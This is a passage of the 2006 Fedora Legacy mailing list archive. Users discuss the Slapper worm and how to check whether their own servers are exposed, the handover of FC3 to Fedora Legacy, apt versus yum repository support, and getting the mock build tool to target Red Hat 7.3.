signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy.org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0452 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0976 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0155 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0156 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0448 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From kleskoe at hotmail.com Wed Jan 25 01:08:46 2006 From: kleskoe at hotmail.com (kles koe) Date: Wed, 25 Jan 2006 01:08:46 +0000 Subject: slapper worm In-Reply-To: <43D67B44.6010707@sbcglobal.net> Message-ID: that's a coincidence... just today when i checked the apache server-status page i notice that some host was scanning several sites randomly trying to find a xmlrpc.php in different apparently pre defined locations. i was aware of the xmlrpc bug in pear and already checked if it was on my server but it wasnt... to make sure i immediatly ran a locate and find again and nothing came up... also blocked the source ip and since then everything is quiet again. so i guess this so called slapper is still very active. >From: Mike McCarty >Reply-To: Discussion of the Fedora Legacy Project > >To: Discussion of the Fedora Legacy Project >Subject: Re: slapper worm >Date: Tue, 24 Jan 2006 13:08:52 -0600 > >James Kosin wrote: >>-----BEGIN PGP SIGNED MESSAGE----- >>Hash: SHA1 >> >>Jesse Keating wrote: >> >>>On Mon, 2006-01-23 at 17:11 -0500, James Kosin wrote: >>> >>>>My version takes care of the mod_ssl issue he already disabled. FC1 >>>>doesn't have a fix or if so it hasn't gone through QA yet. >>> >>>Do you have a CVE for the ssl issue? I'd like to see if it is somewhere >>>in the QA pipeline. >>> >>> >>> >>>------------------------------------------------------------------------ >> >>Jesse, >> >>Just checked this morning. >>https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=175406 >> >>But, I think we may need to do something pro actively... I'm seeing >>many posting either not knowing about this worm or not knowing if they >>are protected or how vulnerable they may be. > >[snip] > >I'm a little shocked at this, frankly. I Googled around, and >found mentions of the Slapper going back to 2002. Why is it that >this exploit (and variations of it) haven't all been stamped >out years ago? > >Mike >-- >p="p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);} >This message made from 100% recycled bits. >You have found the bank of Larn. >I can explain it for you, but I can't understand it for you. >I speak only for myself, and I am unanimous in that! > >-- >fedora-legacy-list mailing list >fedora-legacy-list at redhat.com >https://www.redhat.com/mailman/listinfo/fedora-legacy-list _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today - it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ From lists at benjamindsmith.com Wed Jan 25 03:00:45 2006 From: lists at benjamindsmith.com (Benjamin Smith) Date: Tue, 24 Jan 2006 19:00:45 -0800 Subject: Auto-reporting of successful testing packages In-Reply-To: <1137939406.24546.199.camel@laptop.seekbrain.com> References: <200601201539.42781.lists@benjamindsmith.com> <200601212334.20624.lists@benjamindsmith.com> <1137939406.24546.199.camel@laptop.seekbrain.com> Message-ID: <200601241900.45953.lists@benjamindsmith.com> On Sunday 22 January 2006 06:16, you wrote: > Heya, > > > Your script appears to be more detailed than my own. Mine's based on PHP, > > yours is perl. But yum is written in python, and that's probably the language > > that should be used for a FL "maintainer" RPM. Of course, what we have now > > outta come first. > > I'd be happy to have a go at doing this. We'd need to define some sort > of basic API and feature list though. So, how about it, FL admins? Any suggestions for submitting data in a consistent format? -- "The best way to predict the future is to invent it." - XEROX PARC slogan, circa 1978 From gene.heskett at verizon.net Wed Jan 25 05:53:06 2006 From: gene.heskett at verizon.net (Gene Heskett) Date: Wed, 25 Jan 2006 00:53:06 -0500 Subject: slapper worm In-Reply-To: <43D68B8A.4050205@sbcglobal.net> References: <20060123202711.M4829@npgx.com.au> <200601241500.19719.gene.heskett@verizon.net> <43D68B8A.4050205@sbcglobal.net> Message-ID: <200601250053.06736.gene.heskett@verizon.net> On Tuesday 24 January 2006 15:18, Mike McCarty wrote: >Gene Heskett wrote: >> On Tuesday 24 January 2006 14:20, Mike Klinke wrote: >>>On Tuesday 24 January 2006 13:08, Mike McCarty wrote: >>>>I'm a little shocked at this, frankly. I Googled around, and >>>>found mentions of the Slapper going back to 2002. Why is it that >>>>this exploit (and variations of it) haven't all been stamped >>>>out years ago? >>> >>>Read the link I posted yesterday, according to them, it's been >>>rewritten to exploit new ways to get in to your box. >>> >>>http://www.lurhq.com/slapperv2.html >> >> If this file mentioned on the site doesn't exist on any of my >> systems, is it safe to assume relative safety against this attack? >> >> I would think so when combined with the ISP's (vz) blocking of port >> 80, but what do I know... Thats why I asked, Mike. > >I suppose you mean "Mike Klinke" and not "Mike McCarty" :-) > Well (chuckle), I was replying to Mike Klinke, but anyone who knows the answer is welcome to chime in with their 2 cents. >I dunno. I just ran > ># find / -nmae xmlrpc.php -print > >and didn't come up with anything. But that's expected, since >I run behind a router set up as a firewall, completely stealth >except for the e-mail challenge port (which is closed). A > >$ ps -A | grep pache >$ ps -A | grep ssl > >doesn't show anything, so Apache isn't running, and I guess >SSL isn't either. > >Mike IIRC the httpd is running on that box as I used localhost:631 to configure cups not too long ago, which reminds me, I need to redo that because I've traded gutenprint-5.0.0beta2 for gutenprint-5.0.0-rc2 on this, the print server. But thats a RH7.3 box so the apache is a 1.3.something, but uptodate AFAIK. -- Cheers, Gene People having trouble with vz bouncing email to me should add the word 'online' between the 'verizon', and the dot which bypasses vz's stupid bounce rules. I do use spamassassin too. :-) Yahoo.com and AOL/TW attorneys please note, additions to the above message by Gene Heskett are: Copyright 2005 by Maurice Eugene Heskett, all rights reserved. From gene.heskett at verizon.net Wed Jan 25 05:54:17 2006 From: gene.heskett at verizon.net (Gene Heskett) Date: Wed, 25 Jan 2006 00:54:17 -0500 Subject: slapper worm In-Reply-To: <43D68E28.1000502@sbcglobal.net> References: <20060123202711.M4829@npgx.com.au> <43D68B8A.4050205@sbcglobal.net> <43D68E28.1000502@sbcglobal.net> Message-ID: <200601250054.17904.gene.heskett@verizon.net> On Tuesday 24 January 2006 15:29, Mike McCarty wrote: >Mike McCarty wrote: >> Gene Heskett wrote: >>> On Tuesday 24 January 2006 14:20, Mike Klinke wrote: >>>> On Tuesday 24 January 2006 13:08, Mike McCarty wrote: >>>>> I'm a little shocked at this, frankly. I Googled around, and >>>>> found mentions of the Slapper going back to 2002. Why is it that >>>>> this exploit (and variations of it) haven't all been stamped >>>>> out years ago? >>>> >>>> Read the link I posted yesterday, according to them, it's been >>>> rewritten to exploit new ways to get in to your box. >>>> >>>> http://www.lurhq.com/slapperv2.html >>> >>> If this file mentioned on the site doesn't exist on any of my >>> systems, is it safe to assume relative safety against this attack? >>> >>> I would think so when combined with the ISP's (vz) blocking of port >>> 80, but what do I know... Thats why I asked, Mike. >> >> I suppose you mean "Mike Klinke" and not "Mike McCarty" :-) >> >> I dunno. I just ran >> >> # find / -nmae xmlrpc.php -print > >What I get for typing that in instead of cut and paste. >Of course, that was "name" not "nmae". > Chuckle. A classic example of hindsight being 20-10 or better. It happens to the best of us. >Mike -- Cheers, Gene People having trouble with vz bouncing email to me should add the word 'online' between the 'verizon', and the dot which bypasses vz's stupid bounce rules. I do use spamassassin too. :-) Yahoo.com and AOL/TW attorneys please note, additions to the above message by Gene Heskett are: Copyright 2005 by Maurice Eugene Heskett, all rights reserved. From cave.dnb at tiscali.fr Wed Jan 25 21:43:08 2006 From: cave.dnb at tiscali.fr (Nigel Henry) Date: Wed, 25 Jan 2006 22:43:08 +0100 Subject: Is FC3 now on Fedora Legacy? Message-ID: <200601252243.08617.cave.dnb@tiscali.fr> Hi folks. Thanks for all the support for FC1,2. Has FC3 now been transferred to Fedora Legacy? If so, I'll update my apt sources.list. I'd love to take part in testing packages, but as I've just been working with Linux for just over 2 years, feel a bit incompetant. ( and I'm sure I've spelt that wrong). Thanks for all your hard work. Nigel. From jkeating at j2solutions.net Wed Jan 25 23:06:12 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Wed, 25 Jan 2006 15:06:12 -0800 Subject: Is FC3 now on Fedora Legacy? In-Reply-To: <200601252243.08617.cave.dnb@tiscali.fr> References: <200601252243.08617.cave.dnb@tiscali.fr> Message-ID: <1138230373.2686.5.camel@ender> On Wed, 2006-01-25 at 22:43 +0100, Nigel Henry wrote: > > Hi folks. Thanks for all the support for FC1,2. Has FC3 now been transferred > to Fedora Legacy? If so, I'll update my apt sources.list. I'd love to take > part in testing packages, but as I've just been working with Linux for just > over 2 years, feel a bit incompetant. ( and I'm sure I've spelt that wrong). > > Thanks for all your hard work. Nigel. Yes, FC3 is now in our hands. We should have a yum config file package coming very soon for yum users. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From gene.heskett at verizon.net Wed Jan 25 23:56:29 2006 From: gene.heskett at verizon.net (Gene Heskett) Date: Wed, 25 Jan 2006 18:56:29 -0500 Subject: Is FC3 now on Fedora Legacy? In-Reply-To: <200601252243.08617.cave.dnb@tiscali.fr> References: <200601252243.08617.cave.dnb@tiscali.fr> Message-ID: <200601251856.30086.gene.heskett@verizon.net> On Wednesday 25 January 2006 16:43, Nigel Henry wrote: >Hi folks. Thanks for all the support for FC1,2. Has FC3 now been > transferred to Fedora Legacy? If so, I'll update my apt sources.list. > I'd love to take part in testing packages, but as I've just been > working with Linux for just over 2 years, feel a bit incompetant. ( > and I'm sure I've spelt that wrong). > Humm, ditto for the yum repo's. If these have changed locations, please post the corresponding lines for our yum.conf files. >Thanks for all your hard work. Nigel. > >-- >fedora-legacy-list mailing list >fedora-legacy-list at redhat.com >https://www.redhat.com/mailman/listinfo/fedora-legacy-list -- Cheers, Gene People having trouble with vz bouncing email to me should add the word 'online' between the 'verizon', and the dot which bypasses vz's stupid bounce rules. I do use spamassassin too. :-) Yahoo.com and AOL/TW attorneys please note, additions to the above message by Gene Heskett are: Copyright 2005 by Maurice Eugene Heskett, all rights reserved. From deisenst at gtw.net Thu Jan 26 00:25:39 2006 From: deisenst at gtw.net (David Eisenstein) Date: Wed, 25 Jan 2006 18:25:39 -0600 (CST) Subject: FC3 and apt-get (apt-rpm) Message-ID: Hi, There is some sentiment for getting rid of apt-get for FC3 and newer distros, especially in terms of the proposed yum.conf RPM package being proposed & prepared, "legacy-yumconf-....fc3.src.rpm", at . This package will update the yum and up2date configuration files on the end-user's system to point to the main Fedora Legacy repository, and will live in the tools directory there. But it will not update the end user's apt-get config files to point there. This was discussed yesterday on IRC (irc.freenode.net channel #Fedora- Legacy). Wondering how the general legacy users feel about that? Will we continue supporting apt-get for the older distros? If we do not provide apt metadata for FC3 users, then we are going to have to change part of the text we provide with every release: ...Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. Any suggestions how to change this wording to make sense if only some distros we support will be able to use apt-get while others won't? By the way, I don't see directions on using apt-get for FC2 on the web-page, and I don't see directions for using yum for FC3 yet. Are we planning to update those docs? I believe our repositories are on-line now, so such documentation would be appropriate to have out there for people wanting to update their FC2 and FC3 systems. Regards, David From nils at lemonbit.nl Thu Jan 26 00:40:53 2006 From: nils at lemonbit.nl (Nils Breunese (Lemonbit Internet)) Date: Thu, 26 Jan 2006 01:40:53 +0100 Subject: Is FC3 now on Fedora Legacy? In-Reply-To: <200601251856.30086.gene.heskett@verizon.net> References: <200601252243.08617.cave.dnb@tiscali.fr> <200601251856.30086.gene.heskett@verizon.net> Message-ID: <79257B2E-2087-46A1-8927-A7FACDABC8F8@lemonbit.nl> Gene Heskett wrote: > On Wednesday 25 January 2006 16:43, Nigel Henry wrote: >> Hi folks. Thanks for all the support for FC1,2. Has FC3 now been >> transferred to Fedora Legacy? If so, I'll update my apt sources.list. >> I'd love to take part in testing packages, but as I've just been >> working with Linux for just over 2 years, feel a bit incompetant. ( >> and I'm sure I've spelt that wrong). >> > Humm, ditto for the yum repo's. If these have changed locations, > please > post the corresponding lines for our yum.conf files. Instructions are up on the site. No different than for previous versions of FC by the way. Nils. From nils at lemonbit.nl Thu Jan 26 00:40:53 2006 From: nils at lemonbit.nl (Nils Breunese (Lemonbit Internet)) Date: Thu, 26 Jan 2006 01:40:53 +0100 Subject: Is FC3 now on Fedora Legacy? In-Reply-To: <200601251856.30086.gene.heskett@verizon.net> References: <200601252243.08617.cave.dnb@tiscali.fr> <200601251856.30086.gene.heskett@verizon.net> Message-ID: <79257B2E-2087-46A1-8927-A7FACDABC8F8@lemonbit.nl> Gene Heskett wrote: > On Wednesday 25 January 2006 16:43, Nigel Henry wrote: >> Hi folks. Thanks for all the support for FC1,2. Has FC3 now been >> transferred to Fedora Legacy? If so, I'll update my apt sources.list. >> I'd love to take part in testing packages, but as I've just been >> working with Linux for just over 2 years, feel a bit incompetant. ( >> and I'm sure I've spelt that wrong). >> > Humm, ditto for the yum repo's. If these have changed locations, > please > post the corresponding lines for our yum.conf files. Instructions are up on the site. No different than for previous versions of FC by the way. Nils. From cave.dnb at tiscali.fr Wed Jan 25 23:55:07 2006 From: cave.dnb at tiscali.fr (Nigel Henry) Date: Thu, 26 Jan 2006 00:55:07 +0100 Subject: Is FC3 now on Fedora Legacy? In-Reply-To: <1138230373.2686.5.camel@ender> References: <200601252243.08617.cave.dnb@tiscali.fr> <1138230373.2686.5.camel@ender> Message-ID: <200601260055.08041.cave.dnb@tiscali.fr> On Thursday 26 January 2006 00:06, Jesse Keating wrote: > On Wed, 2006-01-25 at 22:43 +0100, Nigel Henry wrote: > > Hi folks. Thanks for all the support for FC1,2. Has FC3 now been > > transferred to Fedora Legacy? If so, I'll update my apt sources.list. I'd > > love to take part in testing packages, but as I've just been working with > > Linux for just over 2 years, feel a bit incompetant. ( and I'm sure I've > > spelt that wrong). > > > > Thanks for all your hard work. Nigel. > > Yes, FC3 is now in our hands. We should have a yum config file package > coming very soon for yum users. Hi Jesse. I'm only using Yum on one of my FC1 installs. Are the the FC3 security updates also available with apt, as most of my installs are already using apt for planetccrma stuff, and it's more convenient to just add the URL to the apt sources.list. Nigel. From jkeating at j2solutions.net Thu Jan 26 01:11:25 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Wed, 25 Jan 2006 17:11:25 -0800 Subject: Is FC3 now on Fedora Legacy? In-Reply-To: <200601260055.08041.cave.dnb@tiscali.fr> References: <200601252243.08617.cave.dnb@tiscali.fr> <1138230373.2686.5.camel@ender> <200601260055.08041.cave.dnb@tiscali.fr> Message-ID: <1138237886.2686.30.camel@ender> On Thu, 2006-01-26 at 00:55 +0100, Nigel Henry wrote: > > Hi Jesse. I'm only using Yum on one of my FC1 installs. Are the the FC3 > security updates also available with apt, as most of my installs are already > using apt for planetccrma stuff, and it's more convenient to just add the URL > to the apt sources.list. Nigel. Yes, FC3 content is available using apt. Mostly this is a side effect of our current build system making use of apt for its package installation steps. In the future we will not need apt for this, so the apt metadata step may go away. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rostetter at mail.utexas.edu Thu Jan 26 01:50:21 2006 From: rostetter at mail.utexas.edu (Eric Rostetter) Date: Wed, 25 Jan 2006 19:50:21 -0600 Subject: FC3 and apt-get (apt-rpm) In-Reply-To: References: Message-ID: <20060125195021.vwtyk8g0p428cwk8@mail.ph.utexas.edu> Quoting David Eisenstein : > There is some sentiment for getting rid of apt-get for FC3 and newer > distros, especially in terms of the proposed yum.conf RPM package being > proposed & prepared, "legacy-yumconf-....fc3.src.rpm", at > . I think this would be a Good Thing... > This was discussed yesterday on IRC (irc.freenode.net channel #Fedora- > Legacy). Wondering how the general legacy users feel about that? I for one agree. > Will we continue supporting apt-get for the older distros? I think we will have to for the RHL releases. You could argue otherwise for FC releases, since most of them come with YUM by default. So I vote we keep yum and apt for RHL releases, and I'll defer for FC releases. > By the way, I don't see directions on using apt-get for FC2 on the > web-page, and I don't see directions > for using yum for FC3 yet. Someone running those dists has to write them. I actually do have access to a FC3 system, so I can do the FC3 stuff. But I don't have any access to FC1 or FC2, so someone else should do those. > Are we planning to update those docs? I Yes, but who will do it? Volunteers? -- Eric Rostetter The Department of Physics The University of Texas at Austin Go Longhorns! From nils at lemonbit.nl Thu Jan 26 11:09:05 2006 From: nils at lemonbit.nl (Nils Breunese (Lemonbit Internet)) Date: Thu, 26 Jan 2006 12:09:05 +0100 Subject: Is FC3 now on Fedora Legacy? In-Reply-To: <200601260055.08041.cave.dnb@tiscali.fr> References: <200601252243.08617.cave.dnb@tiscali.fr> <1138230373.2686.5.camel@ender> <200601260055.08041.cave.dnb@tiscali.fr> Message-ID: Nigel Henry wrote: > Hi Jesse. I'm only using Yum on one of my FC1 installs. Are the the > FC3 > security updates also available with apt, as most of my installs > are already > using apt for planetccrma stuff, and it's more convenient to just > add the URL > to the apt sources.list. Nigel. You might want to consider switching to yum. Planet CCRMA is also available through yum and apt for rpm is just a sinking ship really. Nils. From madlists at teaparty.net Thu Jan 26 14:08:56 2006 From: madlists at teaparty.net (Tom Yates) Date: Thu, 26 Jan 2006 14:08:56 +0000 (GMT) Subject: lwn.net article In-Reply-To: References: <200601252243.08617.cave.dnb@tiscali.fr> <1138230373.2686.5.camel@ender> <200601260055.08041.cave.dnb@tiscali.fr> Message-ID: lwn.net has a fairly sympathetic article about fedora legacy in their latest edition (26.1.06). this edition is available only to subscribers until 2.2.06, but i've used their "make-a-link" tool to allow FL list readers to read the article. the article's at http://lwn.net/SubscriberLink/168907/4e60c6f97a3cf3fe/ for anyone who's interested. -- Tom Yates - http://www.teaparty.net From rdieter at math.unl.edu Thu Jan 26 16:32:05 2006 From: rdieter at math.unl.edu (Rex Dieter) Date: Thu, 26 Jan 2006 10:32:05 -0600 Subject: Fedora Legacy buildsystem In-Reply-To: <1138237886.2686.30.camel@ender> References: <200601252243.08617.cave.dnb@tiscali.fr> <1138230373.2686.5.camel@ender> <200601260055.08041.cave.dnb@tiscali.fr> <1138237886.2686.30.camel@ender> Message-ID: Jesse Keating wrote: > Mostly this is a side effect > of our current build system making use of apt for its package > installation steps. In the future we will not need apt for this, so the > apt metadata step may go away. I've been trying (and failing) to get mock to work for a rh73 target. What does legacy use now? What will it use in the future? -- Rex From dcbw at redhat.com Thu Jan 26 19:01:12 2006 From: dcbw at redhat.com (Dan Williams) Date: Thu, 26 Jan 2006 14:01:12 -0500 Subject: Fedora Legacy buildsystem In-Reply-To: References: <200601252243.08617.cave.dnb@tiscali.fr> <1138230373.2686.5.camel@ender> <200601260055.08041.cave.dnb@tiscali.fr> <1138237886.2686.30.camel@ender> Message-ID: <1138302072.2993.13.camel@dhcp83-116.boston.redhat.com> On Thu, 2006-01-26 at 10:32 -0600, Rex Dieter wrote: > Jesse Keating wrote: > > > Mostly this is a side effect > > of our current build system making use of apt for its package > > installation steps. In the future we will not need apt for this, so the > > apt metadata step may go away. > > I've been trying (and failing) to get mock to work for a rh73 target. > What does legacy use now? What will it use in the future? I think going forward plague is the answer, but it can't share the same build machines as Extras currently uses for a variety of reasons (security, system load, permission granularity, etc). Anything that prevents mock/yum/plague from being used to build packages for Legacy will certainly get my attention and some of my time. Dan From dcbw at redhat.com Thu Jan 26 19:01:12 2006 From: dcbw at redhat.com (Dan Williams) Date: Thu, 26 Jan 2006 14:01:12 -0500 Subject: Fedora Legacy buildsystem In-Reply-To: References: <200601252243.08617.cave.dnb@tiscali.fr> <1138230373.2686.5.camel@ender> <200601260055.08041.cave.dnb@tiscali.fr> <1138237886.2686.30.camel@ender> Message-ID: <1138302072.2993.13.camel@dhcp83-116.boston.redhat.com> On Thu, 2006-01-26 at 10:32 -0600, Rex Dieter wrote: > Jesse Keating wrote: > > > Mostly this is a side effect > > of our current build system making use of apt for its package > > installation steps. In the future we will not need apt for this, so the > > apt metadata step may go away. > > I've been trying (and failing) to get mock to work for a rh73 target. > What does legacy use now? What will it use in the future? I think going forward plague is the answer, but it can't share the same build machines as Extras currently uses for a variety of reasons (security, system load, permission granularity, etc). Anything that prevents mock/yum/plague from being used to build packages for Legacy will certainly get my attention and some of my time. Dan From rdieter at math.unl.edu Thu Jan 26 19:23:06 2006 From: rdieter at math.unl.edu (Rex Dieter) Date: Thu, 26 Jan 2006 13:23:06 -0600 Subject: Fedora Legacy buildsystem In-Reply-To: <1138302072.2993.13.camel@dhcp83-116.boston.redhat.com> References: <200601252243.08617.cave.dnb@tiscali.fr> <1138230373.2686.5.camel@ender> <200601260055.08041.cave.dnb@tiscali.fr> <1138237886.2686.30.camel@ender> <1138302072.2993.13.camel@dhcp83-116.boston.redhat.com> Message-ID: Dan Williams wrote: > Anything that > prevents mock/yum/plague from being used to build packages for Legacy > will certainly get my attention and some of my time. OK, here ya go: http://www.redhat.com/archives/fedora-legacy-list/2005-December/msg00060.html -- Rex From sheltren at cs.ucsb.edu Thu Jan 26 22:53:50 2006 From: sheltren at cs.ucsb.edu (Jeff Sheltren) Date: Thu, 26 Jan 2006 18:53:50 -0400 Subject: Fedora Legacy buildsystem In-Reply-To: <1138302072.2993.13.camel@dhcp83-116.boston.redhat.com> References: <200601252243.08617.cave.dnb@tiscali.fr> <1138230373.2686.5.camel@ender> <200601260055.08041.cave.dnb@tiscali.fr> <1138237886.2686.30.camel@ender> <1138302072.2993.13.camel@dhcp83-116.boston.redhat.com> Message-ID: <827DB52C-C154-4A77-AA4F-DF7C310DA10E@cs.ucsb.edu> On Jan 26, 2006, at 3:01 PM, Dan Williams wrote: > On Thu, 2006-01-26 at 10:32 -0600, Rex Dieter wrote: >> Jesse Keating wrote: >> >>> Mostly this is a side effect >>> of our current build system making use of apt for its package >>> installation steps. In the future we will not need apt for this, >>> so the >>> apt metadata step may go away. >> >> I've been trying (and failing) to get mock to work for a rh73 target. >> What does legacy use now? What will it use in the future? > > I think going forward plague is the answer, but it can't share the > same > build machines as Extras currently uses for a variety of reasons > (security, system load, permission granularity, etc). Anything that > prevents mock/yum/plague from being used to build packages for Legacy > will certainly get my attention and some of my time. > > And some of my time, too! Although I do have mock/plague working with RH7.3 - Rex, if you want to send more details of your problem maybe I can help. -Jeff From rdieter at math.unl.edu Fri Jan 27 13:15:49 2006 From: rdieter at math.unl.edu (Rex Dieter) Date: Fri, 27 Jan 2006 07:15:49 -0600 Subject: mock rh73 target In-Reply-To: <827DB52C-C154-4A77-AA4F-DF7C310DA10E@cs.ucsb.edu> References: <200601252243.08617.cave.dnb@tiscali.fr> <1138230373.2686.5.camel@ender> <200601260055.08041.cave.dnb@tiscali.fr> <1138237886.2686.30.camel@ender> <1138302072.2993.13.camel@dhcp83-116.boston.redhat.com> <827DB52C-C154-4A77-AA4F-DF7C310DA10E@cs.ucsb.edu> Message-ID: <43DA1D05.8040204@math.unl.edu> Jeff Sheltren wrote: > And some of my time, too! Although I do have mock/plague working with > RH7.3 - Rex, if you want to send more details of your problem maybe I > can help. As per my original post: http://www.redhat.com/archives/fedora-legacy-list/2005-December/msg00060.html mock's "init" step fails. $ mock -rredhat-7-i386 --debug ... DEBUG: Executing /usr/sbin/mock-helper chroot /var/lib/mock/redhat-7-i386/root /bin/su - root -c "/usr/sbin/useradd -u 1482 -d /builddir mockbuild" ending ... Non-zero return value 4 on executing /usr/sbin/mock-helper chroot /var/lib/mock/redhat-7-i386/root /bin/su - root -c "/usr/sbin/useradd -u 1482 -d /builddir mockbuild" Not helpful, so I ran what mock-helper does by hand (as root) chroot /var/lib/mock/redhat-7-i386/root /bin/su - root -c "/usr/sbin/useradd -u 1482 -d /builddir mockbuild" useradd: uid 1482 is not unique -- Rex From jkosin at beta.intcomgrp.com Mon Jan 30 18:59:37 2006 From: jkosin at beta.intcomgrp.com (James Kosin) Date: Mon, 30 Jan 2006 13:59:37 -0500 Subject: James' Unofficial Updates Message-ID: <43DE6219.6090900@beta.intcomgrp.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Everyone, The samba development team is trying to get 3.0.21b released today.... unfortunately, I need to go out of town tomorrow. So, I probably won't get to updating Samba til I get back on 2-Feb-2006. For everyone that doesn't know me. I run a FC1 server that I try to keep up-to-date with various packages. Mostly for server type applications (daemons), although I've also rolled some other RPMs for specific needs. You can see my updates at http://support.intcomgrp.com/~jkosin ... but, be warned I wouldn't recommend updating the kernel for the faint of heart. I'd also like to get started soon on providing more security updates to the fedora-legacy community this year... instead of rolling my own all the time. Jessey are you out there... and which packages are we lacking support for that may need updating or packaging for release for FC1. I could also always start with the kernel, if that is OK. I've gotten very good with my own package and it seems to be simpler than say perl or many of the more complex builds. Thanks, James Kosin -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD3mIZkNLDmnu1kSkRArHDAJwI95CQVjVXyPyJsIEcgRxxxtm3OQCfa4Vz 4Aut4K2SZjU/zEZfQJKy+QY= =9JfZ -----END PGP SIGNATURE----- -- Scanned by ClamAV - http://www.clamav.net From rdieter at math.unl.edu Mon Jan 30 19:33:24 2006 From: rdieter at math.unl.edu (Rex Dieter) Date: Mon, 30 Jan 2006 13:33:24 -0600 Subject: mock rh73 target In-Reply-To: <3EA01517-D02E-4D4C-94D8-BF1FE667AB04@cs.ucsb.edu> References: <200601252243.08617.cave.dnb@tiscali.fr> <1138230373.2686.5.camel@ender> <200601260055.08041.cave.dnb@tiscali.fr> <1138237886.2686.30.camel@ender> <1138302072.2993.13.camel@dhcp83-116.boston.redhat.com> <827DB52C-C154-4A77-AA4F-DF7C310DA10E@cs.ucsb.edu> <43DA1D05.8040204@math.unl.edu> <3EA01517-D02E-4D4C-94D8-BF1FE667AB04@cs.ucsb.edu> Message-ID: <43DE6A04.8050105@math.unl.edu> Jeff Sheltren wrote: > On Jan 27, 2006, at 9:15 AM, Rex Dieter wrote: > >> Jeff Sheltren wrote: >> >>> And some of my time, too! Although I do have mock/plague working >>> with RH7.3 - Rex, if you want to send more details of your problem >>> maybe I can help. >> >> >> As per my original post: >> http://www.redhat.com/archives/fedora-legacy-list/2005-December/ >> msg00060.html >> >> mock's "init" step fails. >> $ mock -rredhat-7-i386 --debug >> ... >> DEBUG: Executing /usr/sbin/mock-helper chroot /var/lib/mock/ >> redhat-7-i386/root /bin/su - root -c "/usr/sbin/useradd -u 1482 -d / >> builddir mockbuild" >> ending >> ... >> Non-zero return value 4 on executing /usr/sbin/mock-helper chroot / >> var/lib/mock/redhat-7-i386/root /bin/su - root -c "/usr/sbin/ useradd >> -u 1482 -d /builddir mockbuild" >> >> Not helpful, so I ran what mock-helper does by hand (as root) >> chroot /var/lib/mock/redhat-7-i386/root /bin/su - root -c "/usr/ >> sbin/useradd -u 1482 -d /builddir mockbuild" >> useradd: uid 1482 is not unique > Hi Rex, that's strange - I haven't encountered that problem... I For the record, I just manually added the mockbuild user, and just use --no-clean for now. Other than having to rebuild a few packages because of missing Epochs (including so far: audiofile, cups, esound glib, libpng), I've now got mock working on my RHEL4 host targetting: rh73, rh9, rhel3, rhel4, fc3, fc4, fc5. Pretty slick. -- Rex From jkeating at j2solutions.net Mon Jan 30 19:53:50 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Mon, 30 Jan 2006 11:53:50 -0800 Subject: James' Unofficial Updates In-Reply-To: <43DE6219.6090900@beta.intcomgrp.com> References: <43DE6219.6090900@beta.intcomgrp.com> Message-ID: <1138650830.8030.31.camel@yoda.loki.me> On Mon, 2006-01-30 at 13:59 -0500, James Kosin wrote: > I'd also like to get started soon on providing more security updates to > the fedora-legacy community this year... instead of rolling my own all > the time. Jessey are you out there... and which packages are we lacking > support for that may need updating or packaging for release for FC1. I > could also always start with the kernel, if that is OK. I've gotten > very good with my own package and it seems to be simpler than say perl > or many of the more complex builds. Pekka maintains a work needed list. We try to have bugs open for every known security fix needed, and they should be tracked on Pekka's list. It should get easier to contribute soon with the build system changes. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: